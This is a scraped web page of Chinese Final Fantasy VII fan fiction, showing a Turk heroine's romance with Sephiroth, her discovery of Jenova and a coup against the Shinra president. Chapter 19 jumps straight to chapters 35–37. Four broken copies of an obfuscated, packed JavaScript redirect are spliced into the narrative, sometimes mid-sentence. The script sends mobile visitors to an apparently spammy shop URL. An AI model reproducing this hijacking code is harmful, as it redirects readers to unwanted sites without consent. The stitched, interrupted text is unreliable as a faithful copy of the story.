“塔克斯真的有这个规定吗?”摆脱了数不清的摄像机,萨菲罗斯的神色逐渐柔和下来。 “嗯。”希森点点头,“不过我们通常不会真的去追究,刚才只是吓一吓他们而已。” 碧绿的竖瞳忽然顿了顿。她顺着对方的目光低下头,才发现银发的特种兵正看着自己刚才“收缴”上来的照片。 19. 第 19 章 《[FF7]死去的前男友突然开始攻击我》全本免费阅读 宇宙很浩瀚。 这个世界并不是唯一的,她故乡所在的世界也不是。 宇宙诞生了无数条世界线,但它们并非都能一直存在下去。有些世界线会分离、崩坏,而后再结合,星球在此中延续。 你并不是唯一的外来者,从前不是,现在也不是。 但你是无数重复轮回中的唯一变数。 那么,你到底为何而来? …… 她为什么会在这里? 啊,对了,列车——有人对车厢动了手脚,她掉下了悬崖,萨菲罗斯好像也跟着跳下来了。 希森睁开眼睛,夕阳的余晖透过支离破碎的玻璃彩窗洒落下来,把她所在的一小片地板渲染成一副缤纷的抽象画。这里看起来像是一座废弃的教堂,不知名的植物爬满了遗留下来的残破建筑,老旧的瓷砖也被杂草覆盖。巨大的雕塑静静地矗立在教堂尽头,大理石打造的天使早已在时间长河的冲刷下碎裂,只剩下右侧的一只翅膀。 “有没有不舒服?” 银发的特种兵踏着一地缤纷背光而来,银白的长发被折射的光线染上绮丽的色彩。萨菲罗斯看起来毫发无损,高大的身影与背后的雕塑重合在一起。 从这个角度看去,他仿佛一位自辉光中降临的单翼天使,圣洁美丽而又令人战栗。 希森摇了摇头。或许是共鸣能力的效果,她浑身上下连一点外伤都没有,仅仅是因为坠落时的缺氧导致有些头晕——当然,这也可能是因为萨菲罗斯把她保护的很好。 “这是哪里?” “半山腰,某个村落的遗址。” 萨菲罗斯在她对面坐下,天使有着一双猫一样的竖瞳。他伸手支起脸,安静地看着她,银白的发丝贴着黑色的皮革滑落。他没问她为什么会提前知道车厢有问题,似乎也没有问的打算。 “……怪不得这次任务的薪酬是以前的两倍,原来是在这里等着我呢。”希森检查了一下身上的设备,手机和平板早就在爆炸的时候丢失,卫星通讯器也摔坏了。 “我已经联系上了总部,不过救援赶到还需要一段时间。”银发的特种兵抬手生起一丛篝火,碧绿的眼瞳中倒映出跃动的火苗,“很遗憾,我们暂时会被困在这里。” ……还有这种好事?和萨菲罗斯被困在一起,银发精英俱乐部的成员听到了直接开香槟庆祝。哦,她自己就是俱乐部的成员。 可能是希森脸上的表情太过明显,萨菲罗斯侧了侧头:“你好像并不担心。” 希森小小地伸了一个懒腰:“为什么要担心,有神罗最强的特种兵在我身边,这不就是带薪度假吗。” 被点名的神罗最强特种兵弯起唇角:“……无论是什么事情,在你这里都会变好。” “你说反了,一件事情的好坏其实取决于和谁一起做。”希森纠正他,“如果换成安吉尔和杰内西斯,你也不会觉得是坏事。” “……你不一样。” 这句话说得很轻,希森以为自己听错了。当她抬起头时,对方已经移开了目光,“你需要吃点东西。” 距离上次用餐已经有十个小时,他们的确该补充体力。 “交给我吧!”希森从储物魔石里拿出一大堆不同口味的罐头,又翻出各种压缩饼干和回复剂,之后又倒出来一些水果罐头和零食,最后甚至还有几个很小的蛋糕。她把全部食物推到对方面前,脸上带着“喜欢什么随便拿不要客气”的表情。 萨菲罗斯愣了一下,碧绿的竖瞳微微放大,像只看到了太多猫粮所以一时间不知道该如何选择的猫。 “要是你想吃新鲜的话,打猎我也是会的。”她自信满满地说,“我们接受过专业的野外求生训练。” 虽然上次她和西斯内差点要把雷诺烤着吃了。 “不用,已经足够了。”萨菲罗斯不留痕迹地把军用干粮放了回去,非常配合地夸赞,“很厉害。” 晚餐过后天色已经彻底暗了下来,但希森因为昏迷了一段时间所以现在完全睡不着,萨菲罗斯又不愿让她一个人守夜,于是两个人干脆靠在篝火旁边聊天。十二月末的天气已经入冬,夜晚的气温将近零度,希森控制火焰烧得更旺一些,拿出一大包棉花糖。 “萨菲罗斯,你吃过烤棉花糖吗?” 银发的1st没有回答,但他的表情已经出卖了答案。 想想也是,实验室里长大的孩子估计连零食都不能碰,成年后的神罗英雄也没空去在意这些没什么意义的小事。希森决定给他弥补一点缺失的童年:“没关系,你马上就会吃过了。以后还有什么想做的,我都会陪你一起。” “……好。”他莞尔,碧绿的竖瞳在黑暗中宛如星芒。 棉花糖柔软的外皮被火舌烤的焦脆,泛起一层诱人的金黄,丝丝缕缕的香甜气息缓缓蔓延开来。希森把烤好的棉花糖递给身旁的特种兵,鼓励地说:“试试吧,小心烫。” 萨菲罗斯吃烤棉花糖,这是碳基生物都很难想象的场景,但他真的全部吃完了。 “很甜。”银发的特种兵如是评价。 “因为你一次吃太多了,它本来就非常甜。”希森递给他一瓶水,很佩服萨菲罗斯能面不改色地连吃三个棉花糖。她自己也咬了一口温热绵软的糖果,“要是被曾看到了,肯定又会说我娇生惯养。” “这不是坏事。”萨菲罗斯侧过头,“你和你的同事关系很好。” 他用的是陈述句。希森想了想:“我是在福利院长大的,所以他们对我来说就像是……家人那样。” “我好像从来没了解过你以前的生活。”银发1st的声音低沉悦耳。 “你想知道吗?” “如果是塔克斯的机密,可以不说。” “我和西斯内来自同一家福利院,是曾招募我们进入塔克斯。”希森拨弄着地上的火苗,朝他笑了笑,“我当时什么也不会,连开枪都不敢。是他们一直在照顾我,现在也是,不然我早就被淘汰了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941795|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她揪了一下银白的发丝:“这个很重要吗,我以为你不怎么需要用到魔晶石。” “嗯。”萨菲罗斯弯起唇角,“绝大部分魔法都属于远程攻击,所以魔晶石使用者在近身作战方面会稍显劣势,通常会配备一些附魔的近战武器。我想你比较适合这种轻巧类型的。” 碧绿的竖瞳中溢满温和的笑意,璀璨得令人无法移开目光。银发的特种兵专注地看着她,神色里似乎含着几分期待。当家里的猫咪衔着搜刮回来的宝物送给主人时,就是类似的神情。 为了给她打磨一把匕首,宁愿被冻伤双手。短短几个小时不可能把匕首打磨成型,所以他一定是在冰原的时候就制作了很久。 希森环住他的脖子,翻身坐进大猫的怀里。她歪了歪头,笑意盈盈:“萨菲罗斯最好了,不愧是最厉害的特种兵。你怎么知道我喜欢这一类武器?” “你的书架上有很多这方面的书。” 萨菲罗斯的吻很温柔,甚至带着几分小心翼翼,却又带着不容抗拒的绵长意味。她好不容易才找回自己的声音:“我会一直带在身上。” 温热地唇流连至耳畔,萨菲罗斯贴着她的耳侧低语:“如果对方不是特种兵,只要刺中就能致命。” “如果是特种兵呢?”她好奇地问。 他似乎很轻地笑了一声,语气中带着几分意味深长:“那就瞄准要害。” “对1st也一样?” “如果是别人的话,还做不到。”萨菲罗斯把她的碎发别到耳后,“是你的话,不需要魔晶石也可以。” ……希森承认自己输了,她倒地不起。她伸手捏了捏大猫的脸,“你知道我不会这么做。” “嗯。”银发的特种兵应了一声,将她重新抱回怀里,“小心一些,荷兰德没有表面看上去的那么简单。” 她抬起头,猜到萨菲罗斯大概是发现了什么。 他的语气比起刚才稍微严肃了一些:“短时间内带走大批特种兵,不是杰内西斯一个人能做到的。” 希森愣了一下,忽然明白了对方的意思:“你怀疑是拉扎德?但是他为什么要这么做?” “我也不清楚,只是猜测。”萨菲罗斯顿了顿,“小心一些。” 听到他这种出门前交代家里的孩子别乱跑一般的语气,希森叹了口气:“这两天是不是又有任务?” “不远,很快回来。” 即便和五台的战争已经结束,也有无穷无尽的任务等着萨菲罗斯去完成,神罗英雄是块砖,哪里需要搬哪里。当然,希森自己也好不到哪里去,所以他们两个总是聚少离多。 看来刺杀老总裁的事情需要尽快提上日程了。 萨菲罗斯离开后,希森拨通了一个号码。 “曾,宝条最近的行程可能有问题。麻烦你帮我留意一下他有没有离开过神罗。” 35.第 35 章 希森在五台遇到了一只奇怪的小狗。 准备来说,是一只长得像小狗的怪物,有一只洁白的翅膀。正常情况下,怪物长着一张人脸是非常恐怖的事情,但因为这张脸像安吉尔所以反而令人觉得有些安心。 “……安吉尔?”她试探性地问了一句。 怪物小狗显然听得懂人话,严肃地点点头,把嘴里衔着的东西放到她手上。看上去像是一个被包起来的圆形物体,和苹果差不多大小。 “我知道了,谢谢。”希森摸了摸它的头,“对了,小心荷兰德,他可能还隐瞒了其他事情。” 怪物小狗再次严肃地点了点头,神情像极了安吉尔,友好地蹭了一下她的手后转身飞走了。 在五台执行任务的最大好处就是可以避开神罗的监控,路法斯已经利用假身份初步接管了这边的傀儡政府。希森原以为安吉尔是有什么重要的事情要告诉自己,打开包裹后却发现里面是一个新鲜的白苹果,她研究了大半天,甚至去实验室切开来进行检验,最后发现这就是一个普通的白苹果。 只是比普通的苹果更甜,挺好吃的。 ……所以费尽心思送一个苹果过来是为了什么?她百思不得其解,只能发信息去问萨菲罗斯。 神罗劳模大概在忙,隔了一段时间才回复:“杰内西斯和其他人闹矛盾的时候,一般都是安吉尔替他出面调解。” 回想起杰内西斯以前的梦想,还有这个美味的白苹果,希森顿时领悟了。于是她十分愧疚地发了一条短信给对方:“抱歉,我不小心把你给萨菲罗斯的苹果吃掉了,需要我再买一个替你转交给他吗?” 杰内西斯没有回复,考虑到他的个人素质,已读不回是很正常的事情。希森决定下次见面时再亲自替他转交这份和好礼物。 宝条销毁了科学部门的资料,但没有权限修改其他部门的记录。于是希森选择曲线救国,她黑进特种兵的系统,从萨菲罗斯的出身信息上入手。 出生地,不详。母亲,不详。她逐一比对下去。父亲,宝条,基因匹配。 找到了! ——不对,什么条?她宁愿是薯条,也不愿看见是宝条。 她疯狂刷新页面,怀疑是自己看错了。但事实并没有改变,萨菲罗斯的血缘父亲正是宝条,科学部门的主管。 希森不理解,但是希森大为震撼,原来她男友的潜在精神病是遗传!她的心情就像是在神罗的餐厅买了一份鸡腿饭,挑了最大的那块肉大口咬下去却发现那是一块姜,非常崩溃。 萨菲罗斯的生母需要有多强大的基因和美貌,才能生下这样的孩子。 ——等等,萨菲罗斯的母亲。希森忽然想起来一件事,马上拨通了西斯内的电话: “西斯内,你以前对我说过有位塔克斯的前辈和宝条曾经因为一位研究员产生情感纠纷,可不可以帮我查一下那位研究员的资料……对,关于他们两个的所有资料都要。” …… 好消息:她偷了神罗老家。计划很顺利,雪崩成员和杰内西斯的复制人军队成功潜入米德加。 坏消息:她的老家也被偷了。雪崩打晕罗德,带走了爱丽丝。 塔克斯的一贯作风是永绝后患,但希森考虑到爱丽丝在场,只是用霜雪冻结了驻守在据点中的雪崩成员,让他们暂时失去行动能力。建筑内的人在听到动静的第一时间封锁了大门,然而下一秒所有窗户伴随着耀目的火光骤然炸裂,她翻身从窗台跃入屋内,掌心浮起锋利的冰芒。 “艾尔菲,你们不应该对她动手。” “希森!”爱丽丝回过头,下意识就要往她的方向跑来,却被身旁的雪崩成员拦住了。那双澄澈而明亮的绿色眼眸里溢满担忧,“放开我——希森小心!” 希森打了个响指,两道冰芒瞬间把试图偷袭的敌人冻结在原地。 “让爱丽丝离开,我就对你们在米德加的行动睁一只眼闭一只眼。”她微微一笑,“我知道你的能力是什么,如你所见,你未必可以赢过我。现在动手对大家都没好处。” 艾尔菲平静而冷漠地看着她:“你有这个能力,为什么还要做神罗的狗?” “如果我要做神罗的狗,外面的那些人现在已经已经死了。”希森侧了侧头,掌心的冰棱化为了闪烁的雷电,“爱丽丝已经回答了你们的问题,她不知道应许之地在哪里,放开她。” 年轻的雪崩首领冷淡地审视着她,似乎是突然想到了什么。她打了个手势,余下的雪崩成员马上放开爱丽丝,同时收回手里的武器。 “走吧,这里不安全了。”艾尔菲头也不回地带着其他人离开,“你最好清楚自己在做什么。” 希森本来想送爱丽丝回家,但她执意要带自己去看教堂里新种下的百合花。褐发绿眸的少女很快便摆脱了绑架事件的影响,一路上拉着她的手开心地倾诉这段时间的有趣见闻。 “扎克斯上次带我去了商业街玩,我觉得他肯定偷偷向你请教了,以前连发圈和发卡都分不清的人居然主动为我挑了一条发带。”爱丽丝俏皮地眨了眨眼,“神罗最近经常派人来找我,但是那个很温柔的塔克斯姐姐每次都把我藏起来。她是希森的朋友吗?” “嗯,她叫西斯内。”希森发现教堂的花坛中间出现了一大片空缺,好像有什么东西曾经砸在上面。近乎一人大小的轮廓看上去莫名的熟悉,“发生什么事了吗?” 爱丽丝笑了起来,指着天花板上的大洞:“是从天而降的扎克斯哦,把我吓了一跳呢,还好没有受伤。” ……天上突然下起了小狗。 爱丽丝抬起手的时候,希森才发现她的掌心有一道不浅的伤口,“是雪崩做的?” “他们没有伤害我,是我之前卖花的时候不小心割伤的。”少女摇了摇头,“不用担心,很快就会好。” “是马上就会好。”希森拉起爱丽丝的手,绽开的皮肉在治疗魔法的绿色光芒下飞快地愈合。 “好厉害,不愧是希森。”爱丽丝碧绿的眼眸如同宝石般澄澈而璀璨,她歪了歪头,“啊,对了!说起来我也有一颗魔晶石呢!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12984382|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她解开头上的发带,从里面取出一颗透明的魔晶石:“这是妈妈留给我魔晶石,最开始是白色的,后来突然变成了这个样子……不过好像并没有魔法。” “或许我可以帮忙看看。” 希森接过魔石,就在冰凉光滑的晶体触碰到肌肤的那一瞬间,她的思维忽然断裂开来。有什么东西如一道汹涌的湍流般涌入她的大脑,她竭尽全力也只能抓住一两个零碎的片段,在不断翻腾的流水中挣扎着窒息。 …… 银白的光带着少女的祈祷,自天际陨落,宛如一颗璀璨的流星。 …… 无数画面一闪而过,她无法看清。有什么在阻止她,不让她继续探寻。 …… 天幕破碎,大地崩坏,整个世界哀嚎着化为一片废墟。末日的灾厄从天而降,为这个星球带来绝望和毁灭。 距离陨石落下还有十二小时。 灾厄朝她微笑。 …… “快逃,你必须阻止——” 好痛。头像是突然炸裂开来,眼前的画面如同出现故障的屏幕一样闪烁着崩坏,她痛苦地捂住脸,就连呼吸都带着无法忍受的剧痛。她甚至产生一种想要拆开自己看看到底出现了什么问题的冲动。 少女的声音遥远而又模糊,似乎迫切地想要告诉她些什么,但是无法听清,也无法回应。所有声音最终汇聚成同一道,眼前褐发绿眸的少女满脸担忧地看着她,不断呼唤着她的名字。 “……爱丽丝?”她艰难地找回了自己的声音。 “希森,你还好吗?”爱丽丝紧紧地抱住她,“你刚才突然晕过去了,是不是受伤了?我帮你联系曾——” 剧烈的头痛缓缓退去,黏腻的冷汗浸湿了西装的衣领。希森下意识地摇了摇头:“我没事,不要告诉其他人……我在这里休息一下就好。” 爱丽丝用手帕替她擦掉额间滑落的汗珠:“发生什么事了?” 希森低头看着手里的魔晶石,原本冰冷的晶体已经染上了她的体温。共鸣能力对它毫无反应,这颗球体里已经没有任何魔力了,只是个空荡的容器。 那么她刚才看到的到底是什么?如果说是预言的话,为什么作为赛特拉的爱丽丝看不到?如果说是幻觉的话,那未免也太过真实,就像是她亲身经历过一样。 “爱丽丝,”她低声问道,“你还记得这颗魔晶石大概是什么时候变成透明的吗?” “欸,”爱丽丝愣了一下,“那个,大概是在……八年前。” 现在是0001年,八年前就是1993年。希森浑身的血液仿佛在那一刹那冻结,她不会记错,她穿越到这个星球的时候就是1993年。世界上有很多不可思议的巧合,但绝对不包括这一个。 太阳沉入天际,希森看着被夜幕吞噬的天空,感到浑身发冷。 ——她来到这个世界并非偶然,共鸣能力也并不单纯是穿越者的金手指。一定有什么理由和力量让她跨越两个世界,只是她还不知道……或者说忘记了。 36.第 36 章 曾在半夜打来了电话,让她去梅德奥海姆接扎克斯。 仅仅是几周不见,黑发蓝眸的特种兵便像是换了一个人,属于少年的热烈和张扬都已消失不见,取而代之的是更为内敛的沉稳和悲伤。从看见扎克斯背后那把巨大的破坏剑开始,希森就猜到发生了什么,这把剑是安吉尔父亲为他亲手打造的礼物,对他而言意义非凡,剑的传递也意味着性命与理想的传承。 “安吉尔发生什么事了?”她冷静地问。 扎克斯张开嘴,想要诉说什么,却又不知道如何开口。短暂的沉默过后,他艰难地挤出一点沙哑的声音:“安吉尔告诉了我真相。他要求我和他决斗,最后我赢了,但是——” “安吉尔还活着吗?” “我不知道。”黑发特种兵如天空般湛蓝的眼眸中溢满痛苦,“杰内西斯用魔石封印了安吉尔,把他带走了。但是这种程度的伤根本——希森,我们还有办法救安吉尔吗?” 没想到上次替他们寻找的封印魔石最终以这种方式发挥了作用,阴差阳错地暂时救下安吉尔。希森沉默了片刻,“我知道了,我会想办法。他们还有没有跟你说过其他事情?” 之前见面时她就看出安吉尔有求死之心,但他明显还放心不下杰内西斯,不应该这么快就选择了断。所以是什么事情刺激了他? “我听到了一些,”扎克斯顿了顿,似乎在回忆,“安吉尔说荷兰德比对了古代种的细胞和他们身上的细胞,结果完全对不上,我不知道这是什么意思。” 希森愣住了。 ……爱丽丝说她之前卖花的时候割伤了手,她原以为是个意外,没想到是他们采取了最直接的方法来确认真相。 她努力维持着表面的冷静:“萨菲罗斯知道这件事了吗?” “……我不知道应该怎么告诉他。”黑发的特种兵像只做错事的小狗一样低下头,“你是他最在意的人,只有你能做到,所以我想拜托你帮忙。” 每个人都行走在悬崖边上,摇摇欲坠,希森不知道自己拉住他们的后果是回到地面还是一起坠落,但是她别无选择。 “我会去告诉他。”她的声音冷静得不像是自己发出来的,“扎克斯,我需要你帮忙找一个人,她很可能知道所有的真相,这件事我只放心交给你。” “好。”扎克斯抬起头,甚至没有过问是谁,“放心交给我吧。” “她叫露克蕾西亚,这是她的身份信息和最后出现过的地点,根据情报她可能是用魔晶石把自己封印起来了。”希森把手里的文件递给扎克斯,“下个月底你会接到一个期限很长的空壳任务,作为这次行动的掩护。” “我一定会完成任务的。”扎克斯背着巨大的破坏剑,仿佛年轻时期的安吉尔。走出几步后,他又回过头,“希森,你觉得……翅膀是怪物的象征吗?” “我的朋友曾经告诉我,翅膀是向往自由的人们的追求,绝对不是怪物的象征。”她说,“我认同这个说法。” “这位朋友一定是西斯内吧,她也和我说过同样的话。”扎克斯笑了起来,和以前一样灿烂而明媚,“我明白了,谢谢你,希森。” 她在训练场里找到了萨菲罗斯,神罗将军正在对第二梯队的特种兵进行考核——或者说单方面的碾压。于是希森在等候室里一边享受这场暴力美学,一边在心里组织语言,尝试尽量表达得委婉一些。 塔克斯的职责也包括记录特种兵的评级和数据,因此来来往往的人都没有对她太过在意。热血沸腾的少年们竖着进去,又横着出来,银发的1st不到一分钟就能结束一场战斗,训练场很快便不剩几个人。唯独一名少年在测评结束后没有离开,而是在角落里犹豫了许久,最终像下定什么决心一样来到她面前。 “那个,希森前辈,很冒昧打扰你……”他的声音十分紧张,“我一直想要找机会和你道谢,谢谢你上次救了我。” 希森愣了一下,确认自己的记忆中并没有这位少年兵:“抱歉,请问你是?” “我叫菲利,以前是3rd,今天通过考核晋升成为2nd。”少年结结巴巴地回答,“上、上一次在列车上,你把我从雪崩手里救了回来,还送了我巧克力——克劳德也在。” 希森大概有些印象,当时自己确实是顺手捞了一名士兵回去,之后给大家都分了零食。但是神罗的特种兵装备和帝国的风暴兵有异曲同工之妙,都是头盔一戴谁也认不出谁,她根本没有记住对方,只能礼貌性地回答:“只是举手之劳而已,换做是其他人也会这么做。” 但菲利并没有离开,而是从储物魔石里拿出一盒巧克力,带着期许的目光小心翼翼地递给她:“我一定会努力成为最优秀的神罗战士,和您一起作战,请您收下这份答谢!” 如果这盒巧克力不是通体粉色,而且还是爱心造形的话,希森可能真的以为他是报答救命之恩。看到菲利脸上那不自然的红晕,希森就是再迟钝也明白眼前的少年是什么意思。 她无奈地沉默了片刻,尽量避免伤到对方的心:“菲利,你的表达感谢的心意我收到了,但救人是我的职责,礼物我不能收下,抱歉。” “我的心意不只是感谢,我也知道我的竞争对手很多,但是请您给我一个机会——”正值热血时期的少年似乎还不打算放弃,但他的声音在抬头的那一刻猛然截住,如同看到了天敌的猎物。 在这个时候出现在训练场,又能让特种兵怕成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13016126|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的,只能有一个人。她叹了口气,只能果断而直白地拒绝:“你很优秀,但是我已经有男朋友了。” 菲利试图夺回面部表情的控制权,欲言又止。这个阶段的少年的心思都很好猜,希森微笑道:“他也是一位特种兵。” 热血少年终于意识到了不对劲,脸色变得缤纷起来。 “如果他手里拿着刀的话,我建议你快跑。” 刚晋级的2nd手忙脚乱地逃走了。 希森回过头,果然看见银发的特种兵正安静地站在出口,反手提着两米的正宗。萨菲罗斯似笑非笑地看着她,像只蹲守猎物的大猫,刀尖宛如高高翘起的尾巴。 她无辜地摊开双手,毫不犹豫地倒打一把:“萨菲罗斯,你把你的士兵吓跑了。” “工作时间内不能进行私人性质的无关活动,特别是这种影响到其他部门的行为。”银色的大猫以一种公事公办的平淡语气答道,“这种情况以前发生过吗?” “我只遇到过这一次,正常人都不想和塔克斯扯上关系。”希森看了他一眼,“你不算,是我先告白的。” 萨菲罗斯似乎想要说些什么,最终又放弃了。“我听说扎克斯回来了,发生什么了吗。” 她顿了顿,拉起他的手,“我们回去再说吧。” 也许是因为刚才的小插曲,告诉萨菲罗斯安吉尔的情况并没有她想象中那么难,也没有她想象中那么悲伤。就好像只要见到他,哪怕是再糟糕的事情也会被抛在脑后。 银发的特种兵看着面前的钢铁之都出神,平静的神色里看不出任何情绪。一直到天际被夜色侵染,他才再次开口:“只要安吉尔活着,就还有办法。” “萨菲罗斯——” 柔软的发丝垂落肩头,月桂的芬芳萦绕在鼻尖,对方的动作很突然,所以希森愣了一下,剩下的话没来得及也不需要说出口了。萨菲罗斯紧紧地抱着她,比起平日稍显沉重的呼吸拂过耳廓,他保持着这个姿势一动不动,许久许久,好像溺水之人抓着海面的唯一一块浮木,一旦松手就会坠入深渊。 铅灰的云团吞没月色,微凉的雨丝随着凛冽寒风化为瓢泼的雨幕。米德加下了一场很大的雨,因而这个新年也变得格外沉寂,没有往年的烟火庆典,也没有喧嚣热闹的人群。工业污染带来的雨季还将持续很长一段时间,直到神罗这个屹立多年的巨人换上新鲜的血液。 扎克斯在二月末离开了米德加,寻找露克蕾西亚的任务对他来说并不难,却需要耗费不少时间。希森把这件事交给他并不仅仅是出于信任,也是考虑到以他目前的状态不适合再被卷入接下来的政变。 老总裁还不想死,所以路法斯提前了他们的计划。 37.第 37 章 无论是在哪一个星球,四月都会被连绵的阴雨笼罩。神罗防御系统瘫痪的那一天,正好对应希森故乡一个祭奠先祖的节日,她觉得非常适合作为老总裁的归宿。 杰内西斯带着复制体攻破了这座曾经号称坚不可摧的大楼,总部马上派遣特种兵前去应战。然而萨菲罗斯先前的推测是正确的,拉扎德就是一直以来资助荷兰德和两位1st的叛徒,他的动机也不难查到——这位特种兵主管是路法斯同父异母的私生子,为了被老总裁抛弃而凄惨离世的母亲要向神罗复仇。他不仅没有抵抗袭击,还策反一部分特种兵掩护杰内西斯的行动,为自己争取逃跑的机会。 但这场混乱不过是用来吸引火力的幌子,艾尔菲带着雪崩成员畅通无阻一路地进入大楼,直奔总裁办公室。本应该处理这次危机的塔克斯总部一片寂静,维尔德已经离开神罗,继任为主任的曾带领余下的成员选择为路法斯效忠。 维尔德的亲生女儿并没有在十年前那场轰炸中死亡,而是被宝条带回科学部门作为新项目的实验体,从总部出逃后改名为艾尔菲。宝条在她体内植入的特殊魔石给予她超乎常人的力量,却也会不断吞噬她的生命,希森把真相和封印魔石一起交给维尔德,他最终还是选择去尽自己作为父亲的责任。 如今神罗还有能力对抗雪崩的只剩下一个人。她看着1st专属通讯器上不断闪烁的头像,接通了来自老总裁的电话:“抱歉,社长,萨菲罗斯暂时没空。” “……是你。”电话那头的人忽然笑了,他没有问为什么萨菲罗斯的通讯器会在她手里,“路法斯挑人的目光向来不错,你的确是一颗好棋子。” “这就是你的遗言吗?我会替你转达的。” 希森侧身躲过一名3rd的袭击,反手把魔晶石匕首送进对方心脏,那名士兵的身体在一阵令人牙酸的冻裂声中倒下。她平时训练的对手是银发的1st,萨菲罗斯在战斗时会控制力度,却不会对她放水,眼前这些士兵不管是速度还是战斗技巧都相差了太多。 他语气平静:“我放任你和路法斯的小游戏,本来以为你会成为一把称手的刀。可惜这么多年来你最后学会的是感情用事,缺乏远见。” 总控室的最后一名守卫倒在操作台上,希森没兴趣和一个将死之人争辩,打开免提任由他继续往下说。 “你想要把神拉下圣坛,但自古以来,陨落的神明都被视为灾厄。”他带着笑意问道,“你能承受这个后果吗?” “那么神罗能承受吗?” 希森打开了阻挡雪崩的最后一扇门,电话那头传来爆炸的巨响,通话伴随着手机掉落的声音中断。剩下的问题路法斯会处理干净,她今天的目标是另一个人。 科学部门的楼层已经被杰内西斯的复制人控制,红发的青年侧过头,漫不经心地弯起唇角,“你迟到了。” “神罗的电梯一向都很慢,你又不是不知道。”希森打了个响指,直接炸开办公室的大门,“走吧。” 身形佝偻的男人站在实验室的控制台前,面带微笑地看着两位不请自来的客人,似乎已经在这里等待了很久。宝条张开双手,瘦削的脸因兴奋而呈现出一种怪异的扭曲:“看来你们终于意识到荷兰德是个什么都不懂的废物了,我以为还要花上不少时间呢。” 希森平静地看着他:“你一直都清楚J细胞并非来自古代种,为什么要删掉它的所有资料。” “啊,因为那样做的话事情会变得很无趣,我喜欢把惊喜留到最后。”宝条把眼镜摘下来,慢条斯理地擦拭着镜面,“你们这些塔克斯就像虫子一样阴魂不散,可是耗费了我不少精力。” 希森没有理会他的嘲讽:“那具尸体在哪里?” “动动你那聪明的脑子。”宝条低低地笑了起来,“你不是什么都能查到吗?那就来找我吧……作为对好孩子的奖励,我准备了一份礼物。” 杰内西斯扬起眉毛,眼底闪过几分讽刺。附魔的赤红长剑卷起灼热的火舌,宝条不躲不闪,任由对方把自己的身体劈成闪烁的碎片,神经质的笑声直到全息投影装置被彻底焚毁才终于停止。 宝条早就逃跑了,留在这里的只是个实时投影。 “来晚了一步。”杰内西斯轻笑一声,转身跃下高楼,“这里已经没有我想要的东西了,任务到此结束,祝你好运吧。” 希森忽然想起来:“对了,萨菲罗斯也在大楼,上次那个苹果——” “我看你的脑子也只有苹果大小,一天到晚只知道萨菲罗斯。”红发的青年头也没回,展开巨大的单翼消失在雨幕中。 “……杰内西斯!”她莫名其妙地站在原地,不知道这位大少爷为什么会忽然对自己生气,最后只能归根于精神病人都不可理喻。 大规模的袭击触发了整栋大楼的自动警报装置,刺耳的鸣笛声令人头昏脑胀。希森忍着头疼把宝条的办公室里搜查了一遍,这只狡猾的老狐狸果然什么都没有留下,把相关的资料毁的一干二净。 扎克斯找到了露克蕾西亚,并从她口中得知了当年的全部真相。J细胞来源于一种名叫杰诺瓦的外星生物,最初在地层里发现那具尸体的人将它误认成为古代种,由此产生了很多错误的文献,这种以星球为食的生命体因其残暴而极具攻击性的特性又被称为“从天而降的灾厄”。继荷兰德的G计划之后,宝条创立了更加完善的S计划,给露克蕾西亚尚未出生的孩子注射J细胞,最终成功打造出神罗最强大的军事武器——英雄萨菲罗斯。 爱丽丝告诉她那天看见的画面是可能是星球的警示。希森看不清那道带来末日的身影,但杰诺瓦是她所了解到的最接近灾厄的存在,不管末日降临的原因是什么,大概率都和那具尸体有关,也和她穿越的原因有关。 它是所有悲剧的起源,也是萨菲罗斯的起源。 希森离开科学部门,冰凉的雨丝顺着被炸穿的墙壁飘进大楼,走廊上满是染血的破碎玻璃和复制人的尸体。总裁被雪崩首领刺杀,神罗上下乱成一锅粥,但这些她都不在乎,她穿过四散奔逃的人群,无意识般地向混乱的中心走去,寻找着那道熟悉的身影。 越是靠近神罗的炮台,空气中的血腥味便越发浓厚,已经到了令人反胃的地步,雪崩的一部分人试图抢夺大炮的控制权,可惜他们最终全都丧命于银发1st的刀下。刺目而又寂静的殷红当中伫立着一抹皎洁的银白,萨菲罗斯转动手腕振掉刀刃上沾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 